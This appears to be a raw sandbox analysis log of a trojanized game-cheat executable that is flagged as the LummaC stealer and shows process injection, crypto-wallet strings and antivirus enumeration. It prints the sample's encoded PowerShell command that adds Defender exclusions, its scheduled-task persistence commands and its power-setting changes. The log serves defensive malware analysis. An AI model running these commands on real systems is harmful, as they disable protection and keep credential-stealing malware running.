Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_009C553B _strlen,GetModuleHandleA,GetProcAddress,VirtualProtect,LdrInitializeThunk,OleDraw,GetModuleHandleA,GetProcAddress,OleDraw,FreeConsole,__fread_nolock,_strlen,_strlen,FreeConsole,__fread_nolock,FreeConsole,__fread_nolock,

0_2_009C553B

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_00A2DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00A2DC9E

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_00A561B4 mov edi, dword ptr fs:[00000030h]

0_2_00A561B4

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_00A3B71C GetProcessHeap,

0_2_00A3B71C

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2D8E2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A2D8E2
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2DC92 SetUnhandledExceptionFilter,	0_2_00A2DC92
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A2DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A2DC9E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A35DCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A35DCE
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A2D8E2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00A2D8E2
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A2DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00A2DC9E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A35DCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00A35DCE

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_00A561B4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00A561B4

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#BAmwSli0s#> Add-MpPreference <#VCji#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#R8Z9#> -Force <#WMu0tDA#>
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#BAmwSli0s#> Add-MpPreference <#VCji#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#R8Z9#> -Force <#WMu0tDA#>			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Memory written: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA=="	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeiaqqbtahcauwbsagkamabzacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmavgbdagoaaqajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbsadgawga5acmapgagac0argbvahiaywblacaapaajafcatqb1adaadabeaeeaiwa+aa==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeiaqqbtahcauwbsagkamabzacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmavgbdagoaaqajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbsadgawga5acmapgagac0argbvahiaywblacaapaajafcatqb1adaadabeaeeaiwa+aa=="
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeiaqqbtahcauwbsagkamabzacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmavgbdagoaaqajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbsadgawga5acmapgagac0argbvahiaywblacaapaajafcatqb1adaadabeaeeaiwa+aa==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeiaqqbtahcauwbsagkamabzacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmavgbdagoaaqajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbsadgawga5acmapgagac0argbvahiaywblacaapaajafcatqb1adaadabeaeeaiwa+aa=="	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	0_2_00A3B007
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00A3F048
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	0_2_00A3F299
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00A3F334
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	0_2_00A3F587
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	0_2_00A3F5E6
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	0_2_00A3F6BB
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00A3F7AD
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	0_2_00A3F706
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	0_2_00A3F8B3
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	0_2_00A3AB0C
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	2_2_00A3F8B3
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	2_2_00A3B007
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00A3F048
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	2_2_00A3F299
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00A3F334
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	2_2_00A3AB0C
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	2_2_00A3F587
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	2_2_00A3F5E6
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: EnumSystemLocalesW,	2_2_00A3F6BB
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00A3F7AD
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: GetLocaleInfoW,	2_2_00A3F706

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 0_2_00A2E6D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00A2E6D7

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394244557.0000000001607000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363634962.0000000001604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394244557.0000000001607000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363634962.0000000001604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1310526188.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363634962.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1306793258.0000000001604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: 2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391926634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2393850949.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2393850949.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2393850949.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
